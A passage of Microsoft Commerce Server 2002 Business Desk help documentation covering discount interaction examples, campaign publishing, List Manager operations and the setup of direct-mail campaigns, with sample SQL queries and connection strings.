The following basket shows a 50 percent discount off the Women’s 4 pocket pant, and a 50 percent discount off the Unisex hiking pants. The conditions of the discounts are met because the user placed the Women’s 4 pocket pant and the Men’s 8 pocket conversion pants in the basket. The discount interaction policy allows the Women’s 4 pocket pants be reused as the award, therefore, the 50 percent discount award is applied to the Women’s 4 pocket pant, and the Unisex hiking pants.

Item-level/Item-level: Buy A, Get X at 50 percent off, and buy X, Get B at 50 percent off

The following Discount Definition screens show how to create a discount using the discount interaction policy that allows the award of a discount to be reused as a condition. For more information about discount interaction policies, see Multiple Discounts.

Condition: Buy one Crystal parka (AW125-06).

Award: Get a 50 percent discount off the Sahara parka (AW114-06).

Discount interaction policy: Allow awards of this discount to be reused as conditions of other discounts.

Priority: 10

Discount Definition screen

Condition: Buy one Sahara parka (AW114-06).

Award: Get a 50 percent discount off the Alpine parka (AW188-06).

Discount interaction policy: None.

Priority: 20

The following basket shows a 50 percent discount off the Sahara parka, and a 50 percent discount off the Alpine parka. The conditions of the discounts are met because the user placed the Crystal parka and the Sahara parka in the basket. The discount interaction policy allows the Sahara parka award to be reused as a discount condition, allowing a 50 percent discount award to be applied to the Alpine parka.

Item-level/Item-level: Buy A, Get X at $10.00 off, and buy B, Get X at $20.00 off

The following Discount Definition screens show how to create a discount using the discount interaction policy that allows the award to be reused as an award. For more information about discount interaction policies, see Multiple Discounts.

Condition: Buy one pair of Morro rockshoes (AW084-05).

Award: Get a $10.00 discount on a pair of Tuscany rockshoes (AW086-06).

Discount interaction policy: Allow awards of this discount to also enjoy awards of other discounts.

Priority: 10

Discount Definition screen

Condition: Buy one pair of Plymouth rockshoes (AW125-05).

Award: Get a $20.00 discount on a pair of Tuscany rockshoes (AW086-06).

Discount interaction policy: None.

Priority: 20

Discount Definition screen

The following basket shows a $30.00 discount off the Tuscany rockshoes. The conditions of the discounts are met because the user placed the Morro rockshoes and the Plymouth rockshoes in the basket. The discount interaction policy allows the Tuscany rockshoes award to be used as the award for both discounts, therefore, the Tuscany rockshoes receives both the $10.00 off award, and the $20.00 off award for a total of $30.00 off.

Order-level/Order-level: Buy more than $100.00 of A, get $10.00 off the total, and buy 10 of A, get 10 percent off the total

The following Discount Definition screens show how to create an order-level discount using the discount interaction policy that allows the award to be reused as an award. For more information about discount interaction policies, see Multiple Discounts.

Condition: Buy catalog items worth $100.00 or more in the Shirts category

Award: Get a $10.00 discount off the order subtotal

Discount interaction policy: Allow awards of this discount to also enjoy awards of other discounts.

Priority: 10

Discount Definition screen

Condition: Buy 10 Men’s button-down shirts.

Award: Get a 10 percent discount off the order subtotal.

Discount interaction policy: None.

Priority: 20

Discount Definition screen

The following basket shows a $10.00 discount off the order subtotal and a 10 percent discount off the subtotal. The conditions of the discount are met because the user placed three shirts, which totaled over $100.00, and 10 Men’s button down shirts in the basket. The discount interaction policy allows the order subtotal award to be reused as an award, therefore, both the $10.00 discount and the 10 percent discount are both applied to the order subtotal. The amount of the order subtotal discount is distributed across both line items in the basket.

Item-level/Order-level: Buy A, get B at 10 percent off, and buy C, get $10.00 off the total

The following Discount Definition screens show how to create a discount that contains an item-level discount and an order-level discount.

Condition: Buy a Polar Star sleeping bag (AW310-12).

Award: Get 10 percent discount off a North Face Sunspot sleeping bag (AW390-12).

Discount interaction policy: None.

Priority: 10

Discount Definition screen

Condition: Buy a Big Sur sleeping bag (AW200-12).

Award: Get $10.00 off the order subtotal.

Discount interaction policy: None.

Priority: 20

Discount Definition screen

The following basket shows a 10 percent discount off the North Face Sunspot sleeping bag and a 10 percent discount off the order subtotal. The conditions of the discounts are met, because the user placed the Polar Star sleeping bag in the basket, and the Big Sur sleeping bag. Therefore, the 10 percent award is applied to the North Face Sunspot sleeping bag and the $10.00 award is applied to the order subtotal. The amount of the order subtotal discount is distributed across the three line items in the basket.

See Also

Creating a Discount

Defining the Discounts and Awards, and Targeting the Discount

Discounts

Discount Conditions

Discount Awards

Discount Eligibility Requirements


Complex Discounts Examples

Commerce Server 2002 provides the ability to apply multiple discounts to an item or an order, and also allows you to mix both item-level and order-level discounts in a single order. The following examples show the Discount Definition screens and the user baskets for multiple discounts, and both item-level and order-level discounts.

Order-level/Item-level: Buy C, get $10.00 off the total, and get A at 10 percent off

Order-level/Item-level: Buy C, get $10.00 off the total, and buy anything, Get B at 10 percent off

Order-level: Buy 2 of A, get 1 of A free

Item-level: Buy 2 of A, get 1 of A at 10 percent off

Order-level/Item-level: Buy C, get $10.00 off the total, and get A at 10 percent off

The following Discount Definition screens shows a discount that contains an order-level discount and an item-level discount.

Condition: Buy a Big Sur sleeping bag (AW200-12)

Award: Get $10.00 off the order subtotal

Discount interaction policy: None

Priority: 20

Condition: Buy any product

Award: Get $10.00 off a Scoutpride cook set

Discount interaction policy: None

Priority: 10

Discount Definition screen

The following basket shows a 10 percent discount applied to the Scoutpride cook set. The conditions of the discounts are met, because the user placed the Big Sur sleeping bag in the basket. The 10 percent off award is applied to the Scoutpride cook set. The discount priority is higher (10) for the discount on the Scoutpride cook set than the priority for the $10.00 off discount on the order subtotal (20), therefore, the award is not applied to the order subtotal.

Order-level/Item-level: Buy C, get $10.00 off the total, and buy anything, Get B at 10 percent off

The following Discount Definition screens show how to create a discount that contains an order-level discount and buy anything item-level discount.

Condition: Buy a Big Sur sleeping bag (AW200-12)

Award: Get $10.00 off the order subtotal

Discount interaction policy: None

Priority: 20

Discount Definition screen

Condition: Buy anything

Award: Get 10 percent off a Wolfgang stove (AW051-14)

Discount interaction policy: None

Priority: 10

Discount Definition screen

The following basket shows a 10 percent discount applied to the Scoutpride cook set and a 10 percent discount applied to the order subtotal. When the user placed the Scoutpride cook set in the basket, the 10 percent award was applied. Because the buy anything property does not require that any item be placed in the basket as a condition, the Big Sur sleeping bag was not used as the condition for the cook set, and therefore was used as the condition to apply the $10.00 order subtotal discount.

Order-level: Buy 2 of A, get 1 of A free

The following Discount Definition screen shows you how to create a discount that awards the user a free catalog item, if they buy two of that same item. This discount scenario uses the disjoint discount property, which determines whether to reuse the condition item as an award for the discount. For information about disjoint discounts, see Disjoint Discounts.

Condition: Buy two Aptos tents (AW335-11)

Award: Get one Aptos tent free

Disjoint discount: Apply offer on both Get and Buy products.

Discount interaction policy: None

Priority: 10

Discount Definition screen

The following basket shows a free Aptos tent after the user placed two Aptos tents in the basket. The Apply offer on both Get and Buy products disjoint discount property allowed the condition item to be reused as the award for the discount. In this scenario the first tent was used as a condition, and the second tent was used as a condition, and also awarded a 100 percent discount. For information about disjoint discounts, see Disjoint Discounts.

Item-level: Buy 2 of A, get 1 of A at 10 percent off

The following Discount Definition screen shows that if you do not use the disjoint discount property that reuses the condition item as an award (Apply offer on both Get and Buy products), the basket will not yield the desired results. For information about disjoint discounts, see Disjoint Discounts.

Condition: Buy two Starlight tents (AW425-11)

Award: Get 10 percent off one Starlight tent

Disjoint discount: Apply offer on Get product alone

Discount interaction policy: None

Priority: 10

Discount Definition screen

The following basket shows no discount in the basket for the second Starlight tent. Because the Apply offer on both Get and Buy products disjoint discount property was not selected, the condition item could not be reused as the award. In this scenario the first and second tents were used as the condition, and were not eligible for the award. For information about disjoint discounts, see Disjoint Discounts.

The following basket shows three Starlight tents placed in the basket. A 10 percent discount was awarded to the third Starlight tent in the basket. In this scenario the first and second tents were used as a condition, and the third tent was not used as a condition and was therefore awarded the 10 percent discount.

The following Discount Definition screen shows that if you use the disjoint discount property that reuses the condition item as an award (Apply offer on both Get and Buy products) for the same Item-level discount above (Item-level: Buy 2 of A, get 1 of A at 10 percent off), the basket will yield the desired result.

Condition: Buy two Starlight tents (AW425-11)

Award: Get 10 percent off one Starlight tent

Disjoint discount: Apply offer on both Get and Buy products

Discount interaction policy: None

Priority: 10

Discount Definition screen

The following basket shows a 10 percent discount on the second Starlight tent in the basket. The Apply offer on both Get and Buy products disjoint discount property allowed the condition item to be reused as the award for the discount. In this scenario the first and second tents were used as the condition, and the 10 percent discount award was applied to the second tent. For information about disjoint discounts, see Disjoint Discounts.

See Also

Creating a Discount

Defining the Discounts and Awards, and Targeting the Discount

Discounts

Discount Conditions

Discount Awards

Discount Eligibility Requirements


Discount Application Policies

Campaign managers can create and offer multiple discounts such as item-level discounts, order-level discounts, such as shipping discounts, which are used in combination with each other. For example, a basket may qualify for multiple item-level offers and order-level offers, and those qualifying offers may have one or more discount policies set on them.

Commerce Server uses the following policies where priority and interaction policies alone cannot determine the sequencing of your discounts.

Condition application policies

  • If disjoint = False, then Commerce Server assigns conditions against items that also receive awards.
  • Commerce Server uses up the items that can no longer be used as awards, unless it violates the previous policy.
  • If disjoint = True, Commerce Server prevents items assigned as awards from also being assigned as conditions.

Award application policies

  • Commerce Server satisfies the discount interaction policies that the campaign manager specifies.
  • If there is more than one item equally eligible for an award, Commerce Server chooses the item that has been discounted the most, which favors the merchant.

See Also

Discounts

Discount Priority

Discount Conditions

Discount Awards

Multiple Discounts

Multiple Discount Examples

Disjoint Discounts


Publishing Campaign Changes on Your Web Site

You use the Publish Campaigns module to update your site immediately with new information that you have added to your Web site. In most e-commerce businesses, changes are first made to a test site, and then at a scheduled times the changes are published to the production site. Contact your system administrator for information about when and how changes are published to your production site.

The Publish Campaigns module contains a search mechanism that enables you to find sites on your Web Servers by campaign item type. You can view the sites and the campaign caches that they contain. If you do not want to publish the campaign cache of a site, you can remove it from the search results list.

Note

  • If you do not see your Web Servers or sites appear in the search results list, it may be because no site user has yet visited a page that uses the campaign system. The campaign system automatically registers each Web server and site when it first loads campaign information. The virtual_directory table in the Campaigns database is updated after the first user queries the cache data. After the virtual_directory table is updated, the campaign cache will appear in the Publish Campaigns module.

To search for campaign caches

To delete a campaign cache

To publish a campaign item

To search for campaign caches

  1. In Campaigns, click Publish Campaigns.
  2. In the Publish Campaigns screen, click Find on the toolbar.
  3. In the Find pane, in the Look For box, select the type of campaign cache you are searching for from the drop-down list, and then click Find Now.

The sites containing caches of the specified type matching the search criteria appear in the Production Items box.

To delete a campaign cache

  1. In Campaigns, click Publish Campaigns.
  2. In the Publish Campaigns screen, click Find on the toolbar.
  3. In the Find pane, in the Look For box, select the type of campaign cache you want to remove from the drop-down list, and then click Find Now.

    The sites containing caches of the specified type matching the search criteria appear in the Production Items box.

  4. Select the site and its campaign cache you want to remove, and then click Delete on the toolbar.
  5. In the Delete? dialog box, click Yes to delete the campaign cache for the selected site.

The campaign cache for the selected site is removed from the Production Items list.

To publish a campaign item

  1. In Campaigns, click Publish Campaigns.
  2. In the Publish Campaigns screen, select the campaign item you want to publish, and then click Publish on the toolbar.

The campaign item is sent to production. The site is updated to include the new campaign item.

Note

  • If you do not have the appropriate permissions or experience database connectivity problems, the site will not be updated to include the new campaign item(s). In addition, publishing a campaign requires an ASP page called BDRefresh.asp that must exist in the root directory of the site on each Web Server. Contact your system administrator if you cannot update your site.

See Also

Creating an Ad

Creating a Discount


Managing Lists of User Records

You use List Manager to create and manage lists. There are two types of lists: generic lists and mailable lists. Generic lists are lists imported into List Manager from the Reports module, the Segment Viewer module, or a SQL Server table. Mailable lists are a sub classification of a generic list. A Mailable list is a list that contains a column of e-mail addresses, which is named rcp_email, and possibly other columns from a mailing list. For information about mailing lists, see Mailing Lists.

Mailing lists are used by Direct Mailer to create and send pieces of e-mail to selected recipients in the list. If the generic list does not contain e-mail addresses, the list is imported as a user list if the requirements of a user list are met. For more information about user list requirements, see User Lists.

Lists are created in List Manager by importing lists created by other applications, such as Microsoft SQL Server (to create a SQL table), and Notepad (to create an ASCII text file).

After the lists are imported into List Manager, you can use them to run Direct Mailer jobs to target your users more successfully. For example, you can run reports that show you the characteristics and past behavior of your users, and then create a direct mail campaign to target advertisements or products to those users.

Individual recipients can request to be placed on either a campaign-level or site-level opt-out list. Recipients who request that they not receive direct mail messages created as part of a particular campaign item are placed on a campaign-level opt-out list. The campaign-level opt-out list is named Opt Out <campaign item ID>. Users who request to be placed on the site opt-out list will not receive direct mail messages created by any direct mail campaigns on your site. In the List Manager screen, the site level opt-out list is named Opt Out. For more information about opt-out lists, see Opt-Out Lists.

You can also use List Manager to export lists to a file or SQL Server database, add or subtract lists, copy lists, extract lists, and delete lists.

This section contains:

  • Importing and Exporting Lists
  • Viewing Exported Lists
  • Adding and Subtracting Lists
  • Renaming Lists
  • Copying Mailing Lists
  • Extracting Mailing Lists
  • Deleting Lists


Importing and Exporting Lists

Lists are created in List Manager by importing lists created by other applications, such as Microsoft SQL Server (to create a SQL table), and Notepad (to create an ASCII text file). List Manager requires files to have a specific mailing list format. For information about the format of a mailing list, see Creating a Mailing List. You can also import Analysis static reports and Segment Viewer lists into List Manager. You can then use these lists to run Direct Mailer jobs in order to target your users more successfully.

You can also export lists from List Manager to a file or SQL Server database table, and then search on and view members of the exported list.

To import a list

To export a list

To Import a list

  1. In Campaigns, click List Manager.
  2. In the List Manager screen, click Import on the toolbar.
  3. Select the source from which the list was created.

    The available options are File and SQL table.

    • Select File if the list was created in an application such as Notepad, where the list is a flat text file.
    • Select SQL table if the list was created in a SQL table.
  4. In the Import a list dialog box, do the following:
    Use this | To do this
    List type
    • Select the Static option to import a static list.
    • Select the Dynamic option to import a dynamic list.
    Type name of list to copy to | Type a name for the imported list.
    Specify a file on the server
    • If the list you want to import is a flat text file, type the path, file name, and extension of the list.
      Note
      • When you specify the path (for example, <drive letter>:\<filename.txt>) the <drive letter> refers to the server computer (not the client computer). To import from the client computer, type the universal naming convention (UNC) path name.
      • If the list you want to import was created in a SQL table, do the following:
      1. In the Connection string box, type the database connection string that defines the location of a database and how to connect to it.

        Example: OLEDB connection string:

        Provider=SQLOLEDB.1;Integrated Security='SSPI';Initial Catalog=”Retail_Commerce”;
Data Source=<machine name>”
      2. In the SQL query box, type the SQL query to return the wanted information. All members in all queries must be specified by their fully qualified names.

        Example: SQL Server 7.0 database query:

        SELECT u_email_address AS rcp_email
FROM retail_commerce.dbo.UserObject
WHERE d_date_registered >= '03/01/2000'

        Example: Remote SQL Server database query

        SELECT u_email_address AS rcp_email
FROM <Server name>.retail_commerce.dbo.UserObject
WHERE d_date_registered >= '03/01/2000'

        For information about List Manager field name requirements, see Creating a Mailing List.

      Note

      • Contact your system administrator for database properties and SQL query information. For information about writing SQL queries see Query Fundamentals in SQL Books Online.
  5. Click OK.

The new list appears in the List Manager. You can now use this list in a direct mail campaign.

To export a list

  1. In Campaigns, click List Manager.
  2. In the List Manager screen, select the list you want to export, and then click Export on the toolbar.
  3. Select the source of the list that you want to export.

    The available options are File and SQL table.

    • Select File if the list was created in an application such as Notepad, where the list is a flat text file.
    • Select SQL table if the list was created in a SQL table.
  4. In the Export a List dialog box, do the following:
    Use this | To do this
    Specify a file on the server
    • If the list you want to export is a flat text file, type the path, file name, and extension to which you want to export the list.
      Note
      • When you specify the path (for example, <drive letter>:\<filename.txt>) the <drive letter> refers to the server computer (not the client computer). To export from the client computer, type the universal naming convention (UNC) path name.
      • If the list you want to export was created in a SQL table, do the following:
      1. In the Connection string box, type the database connection string that defines the location of a database and how to connect to it.

        Example: OLEDB connection string:

        Provider=SQLOLEDB.1;
Integrated Security='SSPI';
Initial Catalog=”Retail_Commerce”;
Data Source=<machine name>”
      2. In the Table Name box, type the name of the table to export the list to.
      Notes
      • Only a mailable list (one that contains an rcp_email column) can be exported to a file.
      • Contact your system administrator for database properties information.
    Overwrite existing table | Check this box to overwrite an existing table with the list you are exporting.
  5. Click OK.

The list is exported to the selected source.

Note

  • If the export fails, consult the Windows NT Event Log on the Business Desk Server computer for detailed information about the failure, or contact your system administrator.

See Also

Exporting Segment Data to List Manager

Exporting a Static Report

Exporting a Dynamic Report

Finding User Profiles in a Mailing List


Viewing Exported Lists

You can search on and view members of an exported mailing list. You can locate an individual e-mail address and view all addresses in a particular list.

To view a list exported to a SQL Server table

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In the left pane, expand Microsoft SQL Servers>SQL Server Group>(ServerName)>Databases, and then expand the database in which the table containing the list belongs.
  3. In the details pane, right-click the table, point to Open Table, and then click Return all rows to view all the data in the table.

For information about searching SQL Server tables, see "Specifying Search Criteria," in the SQL Server Enterprise Manager online documentation.

Note

  • To sort or search for specific records in a list exported to a comma-separated values (CSV) file, you can open the file in any application that has sorting and searching capabilities.

See Also

Creating Direct Mail

Exporting a Static Report

Viewing Static Reports


Adding and Subtracting Lists

You may have several lists in List Manager that you want to combine into a new list. Or, you may have already combined several lists in List Manager and want to delete one list from a combined list. List Manager provides the capability of managing multiple lists.

Both lists must be mailable lists to perform the Add or Subtract operation. For example, each list must contain an rcp_email column. For information about mailing list requirements, see Creating a Mailing List.

To add one list to another list

  1. In Campaigns, click List Manager.
  2. In the List Manager screen, select the list that you want to combine with another list and click Add or Subtract a list on the toolbar.
  3. In the Add/Subtract Lists dialog box, do the following:
    Use this | To do this
    Operation | Select Add to from the drop-down list.
    Target list | Select the list to which you want to add the original list.
    Name for new list | Type the name for the new list.
    Description | Type a description for the new list.
  4. Click OK.

The new list appears in List Manager.

To subtract one list from another list

  1. In Campaigns, click List Manager.
  2. In the List Manager screen, select the list that you want to delete information from and click Add or Subtract a list on the toolbar.
  3. In the Add/Subtract List dialog box, do the following:
    Use this | To do this
    Operation | Select Subtract from from the drop-down list.
    Target list | Select the list from which you want to subtract information.
    Name for new list | Type the name for the new list.
    Description | Type a description for the new list.
  4. Click OK.

The new list appears in List Manager, excluding the list that was subtracted.

See Also

Managing Lists of User Records


Renaming Lists

You may want to change the name of a list in List Manager to make it more descriptive.

To rename a list

  1. In Campaigns, click List Manager.
  2. In the List Manager screen, select the list that you want to rename, and then click Open on the toolbar.
  3. In the Update List '<list name>' dialog box, do the following:
    Use this | To do this
    Name | Type the new name of the list.
    Description | Type a description for the list.
  4. To save the list and return to the List Manager screen, click Save and go back on the toolbar.

The list is renamed and appears in the List Manager screen in alphabetical order.

See Also

Managing Lists of User Records

User Lists

User Lists and Mailing Lists

Generic Lists


Copying Mailing Lists

You may have existing lists that you want to use to create additional lists. In List Manager, you can copy both generic lists and mailing lists that have already been created, and then quickly modify the copied list. For example, you can combine it with an existing list to create a larger list.

To copy a mailing list

  1. In Campaigns, click List Manager.
  2. In the List Manager screen, select the list you want to copy, and then click Copy on the toolbar.
  3. In the Copy List dialog box, do one the following:
    Use this | To do this
    Select an existing list to copy to | Select an existing list to which you want to copy the list.
    Type name of list to copy to | Type the name of a new list to which you want to copy the list.
  4. Click OK.

The list is copied and you can now modify the copied list.

See Also

Managing Lists of User Records

User Lists

User Lists and Mailing Lists

Generic Lists


Extracting Mailing Lists

In List Manager, you can remove duplicate and blank e-mail addresses from a generic list, leaving only the necessary fields for a mailing. The resulting list is a more accurate count of the number of unique e-mail addresses contained in the list, making the list more useful and increasing performance during runtime.

To extract a mailing list

  1. In Campaigns, click List Manager.
  2. In the List Manager screen, select the list you want to extract, and then click Extract direct mail list on the toolbar.
  3. In the Extract Mailing List dialog box, do the following:
    Use this | To do this
    Type name of list to copy to | Type the name of a new list to which you want to extract the mailing list.
    Description | Type a description for the extracted list.
  4. Click OK.

The list is extracted with unique e-mail addresses.

See Also

Managing Lists of User Records

User Lists

User Lists and Mailing Lists

Generic Lists


Deleting Lists

In List Manager, you can remove lists that you no longer use.

To delete a list

  1. In Campaigns, click List Manager.
  2. In the List Manager screen, select the list you want to delete, and then click Delete on the toolbar.
  3. In the Delete List dialog box, click OK to delete the list.

The list is removed from List Manager.

See Also

Managing Lists of User Records

User Lists

User Lists and Mailing Lists

Generic Lists


Creating Direct Mail

You use the Campaign Manager module to create and manage direct e-mail advertising campaigns. Direct mail is a campaign item that can be targeted toward specific users by using mailing lists that reside in List Manager. You use the Campaign Manager module to create new direct mail campaigns, personalize messages, add attachments to your direct mail messages, and modify direct mail properties. You can also test your direct mail lists before sending them to production. For step-by-step instructions, see the Direct Mailer Tutorial.

The following workflow illustrates a sample scenario for creating and managing a direct mail campaign:

Workflow for creating and managing a direct mail campaign
  1. In the List Manager module, import a mailing list (for example, a list of top users).
  2. In the Campaign Manager module, create a direct mail campaign targeting the mailing list of top users.
  3. Enter the name of a HTML page containing personalized content.
  4. Add an attachment to the direct mail campaign.
  5. Schedule the start times and end times for the direct mail campaign, and specify how often the direct mail job is to be sent.
  6. Test the direct mail you sent against a test list, and view your personalization pages.

This section contains:

  • Creating a Mailing List
  • Importing a Mailing List
  • Adding Direct Mail Properties
  • Personalizing a Direct Mail Message
  • Adding Attachments to Direct Mail
  • Scheduling Direct Mail
  • Testing Direct Mail
  • Copying Direct Mail


Creating a Mailing List

Before you create a direct mail campaign, the List Manager module must contain a valid mailing list. A valid mailing list must contain a column of e-mail addresses, which is named rcp_email, and includes one or more rows of recipients. Mailing lists are used by Direct Mailer to send pieces of mail to selected recipients in a list.

You can create a mailing list using a text editor. You can also import a list that you create using another application, such as SQL Server (to create a SQL table), Notepad (to create an ASCII text file), Microsoft Excel (to create a spreadsheet), or Microsoft Outlook (to export information from a personal folder file (.pst file)) into List Manager.

List Manager requires the field names in the following table when importing lists from SQL Server. Each row in the list contains a single recipient and is comprised of the following elements in comma-delimited format:

Field name | Parameter | Description
rcp_email | Email address | Required. Name or a name@domain.
rcp_guid | GUID | Optional. Globally unique identifier. The unique user ID that is used to provide content in a personalized e-mail message.
rcp_fmt Message format Optional. Controls the message format type that the Collaboration Data Object (CDO) translates the results into. The supported values are:
  • Text (1)
  • MIME (2)
  • MHTML (3)

For information about message formats, see Message Formats.
rcp_locale | Language | Optional. The codepage values that are used in Direct Mail lists, such as US-ASCII, and ISO-8859-1.
rcp_url | URL | Optional. Provides the ability to pass individual URLs per user to CDO.

Notes

  • The field names are restricted to the order listed in the table. You must supply the delimiter if an optional parameter is omitted in order to line up the subsequent optional parameters.

The following example shows a mailing list (ASCII text file) that was created using a text editor, such as Notepad:

BettyUser@Microsoft.com, BettyUser,1,,www.Microsoft.com
JoeUser@Microsoft.com, JoeUser,1,,www.Microsoft.com
JaneUser@VigorAirLines.com, JaneUser,2,,www.VigorAirlines.com
JackUser@ArborShoes.com, JackUser,3,,www.ArborShoes.com

To export information from Microsoft Outlook as a mailing list into List Manager, you must perform the following steps:

  1. In Microsoft Outlook, in the Contacts screen, on the File menu, click Import and Export.
  2. Click Export to a file, and then click Next.
  3. Select either the Tab Separated Values or the Comma Separated Values file type, and then click Next.
  4. Select the folder to export from, and then click Next.
  5. Type the path and name of the file, or click Browse to find the location to where you want to export the file, and then click Next.
  6. Click Map Custom Fields, and then in the To: pane on the right, click Clear Map.
  7. Drag the Email value in the From: pane on the left, and drop it in the To: pane on the right, click OK, and then click Finish.

The file is exported from Microsoft Outlook. You can now import the file as a valid mailing list into List Manager. For more information about exporting files from Microsoft Outlook, see the "Export items to a file or to a personal folder file" topic in Microsoft Outlook Online Help.

See Also

Managing Lists of User Records

User Lists

User Lists and Mailing Lists

Generic Lists


Importing a Mailing List

The List Manager module must contain a valid mailing list before you can create a direct mail campaign. You use the List Manager module to import lists of users that you can then target through a direct mail campaign. You can import ASCII text files, files from Microsoft Excel, or tables from SQL Server databases.

To import a mailing list

  1. In Campaigns, click List Manager.
  2. In the List Manager screen, click Import on the toolbar.
  3. In the Import a List dialog box, do the following:
    Use this | To do this
    List type Select the list type.

    The available options are Static and Dynamic.

    • Select Static to import a static, flat text file list.
    • Select Dynamic to import a dynamic list (a list that changes, such as one from a SQL Server database).
    Type name of list to copy to | Type a name for the imported list.
    List source Select the source type for the list.

    The available options are From File or From SQL Database.

    • Select From File for a static list.
    • If you select From SQL Database, do the following:
      1. In the Connection string box, type the database connection string, which defines the location of a database and how to connect to it.
      2. In the SQL query box, type the SQL query to return the wanted information.

        Example: SQL query:

        SELECT u_email_address AS rcp_email
FROM UserObject
WHERE d_date_registered >= '03/01/2000'

        For information about List Manager field name requirements, see Creating a Mailing List.

      Note

      • Contact your system administrator for database properties and SQL query information. For information about writing SQL queries see "Query Fundamentals" in SQL Books Online.
    File name | Type the path, file name, and extension of the list you want to import.
  4. Click OK.

The new list is imported and appears in List Manager. You can now use the list in a direct mail campaign.

See Also

Managing Lists of User Records

Importing and Exporting Lists

User Lists and Mailing Lists


Adding Direct Mail Properties

Direct mail campaigns are a way to get users to view your ads. Direct mail can be targeted toward specific users by using mailing lists that reside in List Manager. You can import ASCII text files, and tables from SQL Server databases. You can also import Analysis reports into List Manager. You can use these lists to run Direct Mailer jobs in order to target your users more successfully.

Note

  • Before you create a direct mail campaign, ensure that SQL Server Agent is running. If SQL Server Agent is not running, you will not be able to save your direct mail campaign. For information about running SQL Server Agent, contact your system administrator.

To add direct mail properties

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer for whom you want to create direct mail, select the campaign for which you want to create direct mail, click Add on the toolbar, and then select New Direct Mail from the drop-down list.
  3. In the Campaign Manager <Customer> <Campaign> New (direct mail) screen, in the Direct Mail Properties section, do the following:
    Use this | To do this
    Direct mail name | Type a name for the Direct Mailer job.
    Message from e-mail address | Type the address that the direct mail is being sent from.
    Reply to e-mail address Type the address to which the recipient is to reply if different from the default address.

    This box defaults to the address the direct mail is being sent from.
    Message subject | Type the subject text for the Direct Mailer job.
    File path or URL containing message body Type the path of the file or the URL that you are using to display the direct mail message.

    The URL of the personalized message body must have a valid HTML content type extension, such as .htm or .asp. Invalid extensions such as .xml will result in a Collaboration Data Objects (CDO) error and the message will not be sent.

    To view personalized pages, see Testing Direct Mail.

    Caution

    • A file over two megabytes in size will be truncated. Only the first two megabytes of data will be used in the direct mail.
    Attachment Type the file path and name of the attachment being sent with the message.

    If no attachment is being sent, leave this box unchecked.
    Mailing list | Select the mailing list that this direct mail campaign will use from the drop-down list.
    Personalize direct mail per user Select this check box to enable personalization for this direct mail campaign.

    If this box is checked, for each user, the message body ASP page is invoked and the result is sent as e-mail.

    If this check box is not checked, the message body ASP page is invoked once, and for all users the same content is used.

    Note

    • This option saves a large amount of processing power, especially for bulk mailings.
    Mail format Select the format for this mail.

    The options are:

    • Text - Formats the mail in ASCII format.
    • MIME - Formats the mail with Multipurpose Internet Mail Extensions.
    • MHTML - Formats the mail with mime encapsulation of HTML content so that the mail can be sent as an e-mail message.

    Important

    • These message formats are the default values, and are only used if the user-specific e-mail format is NULL. If a user-specific e-mail format was specified (when creating and/or importing the mailing list), the user-specific format will be the format that is used when sending the direct mail.

    For information about message formats, see Message Formats.
    Comments (not included in message) | Type any required comments that are pertinent to the direct mail job.
  4. To save the direct mail and return to the Campaign Manager screen, click Save and go back on the toolbar.

The direct mail is added to the Campaign Manager module. You can now schedule, and then test the direct mail.

Note

  • In the File path or URL containing message body box, to verify that the message body URL path is valid, select the path and the file or URL, and then press [CTRL C] to copy the selection. Open your browser, and then press [CTRL P] to paste the selection into the Address line, and then press [ENTER]. If the file or URL is correct, the appropriate page will appear in your browser.

For information about scheduling direct mail, see Scheduling Direct Mail. For information about testing direct mail, see Testing Direct Mail.

See Also

Adding a Campaign

Managing Lists of User Records

Importing and Exporting Lists


Personalizing a Direct Mail Message

You can personalize e-mail messages to users by using an ASP page that has been designed for personalization. For example, you could include the first name of the user in a personal greeting. Special text can be added to the ASP page for delivery. If personalization is not specified, the direct mail message is delivered as a plain HTML page.

To personalize a direct mail message

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the direct mail campaign you want to personalize, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Direct Mail Item> (direct mail ID: <number>) screen, do the following:
    Use this | To do this
    File path or URL containing message body | Type the name of the HTML page containing the personalized content.
    Personalize direct mail per user Select this check box to enable personalization for this direct mail campaign.

    If this box is checked, for each user, the message body ASP page is invoked and the result is sent as e-mail.

    If this check box is not checked, the message body ASP page is invoked once, and for all users the same content is used.

    Note

    This option saves a large amount of processing power, especially for bulk mailings.
    Mail format Select the format for this mail.

    The options are:

    • Text - Formats the mail in ASCII format.
    • MIME - Formats the mail with Multipurpose Internet Mail Extensions.
    • MHTML - Formats the mail in multilingual HTML.
  4. To save the direct mail campaign with personalization and return to the Campaign Manager screen, click Save and go back on the toolbar.

The direct mail message will be sent with personalization.

To view your personalized pages, see Testing Direct Mail.

See Also

Creating Direct Mail

Testing Direct Mail


Adding Attachments to Direct Mail

You can add attachments to direct mail using the Direct Mail Properties section in the Campaign Manager screen. An attachment can be any file containing information you want to send with the direct mail.

Note

  • You cannot send direct mail with an attachment that contains Korean or Japanese characters.

To add an attachment to direct mail

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the direct mail you want to add an attachment to, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Direct Mail Item> (direct mail ID: <number>) screen, in the Attachment box, type the path to the attachment that is to be sent with the mail message.
  4. To save the attachment with the direct mail campaign and return to the Campaign Manager screen, click Save and go back on the toolbar.

The attachment is saved with this Direct Mailer job.

See Also

Adding Direct Mail Properties


Scheduling Direct Mail

You use the Mail Schedule section in the Campaign Manager screen to schedule the start times and end times for direct mail, and to specify how often the direct mail is to be sent.

To schedule direct mail

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the direct mail you want to schedule, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Direct Mail Item> (direct mail ID: <number>) screen, in the Mail Schedule section, do the following:
    Use this | To do this
    Start date | Type or select the start date for the direct mail from the drop-down calendar.
    End date Type or select the end date for the direct mail from the drop-down calendar.

    The End Date box will be unavailable if the direct mailing interval is set to one time only.
    Start time | Select a starting time from the drop-down list for the campaign.
    Mailing interval | Select how often you want to send the mail from the drop-down list.

    Note

    • Several options are available for the mailing interval. Depending on the option you select, boxes are displayed that you use to select the recurrence pattern for the campaign.
  4. To save the schedule with the direct mail and return to the Campaign Manager screen, click Save and go back on the toolbar.

The schedule is saved with the direct mail.

Note

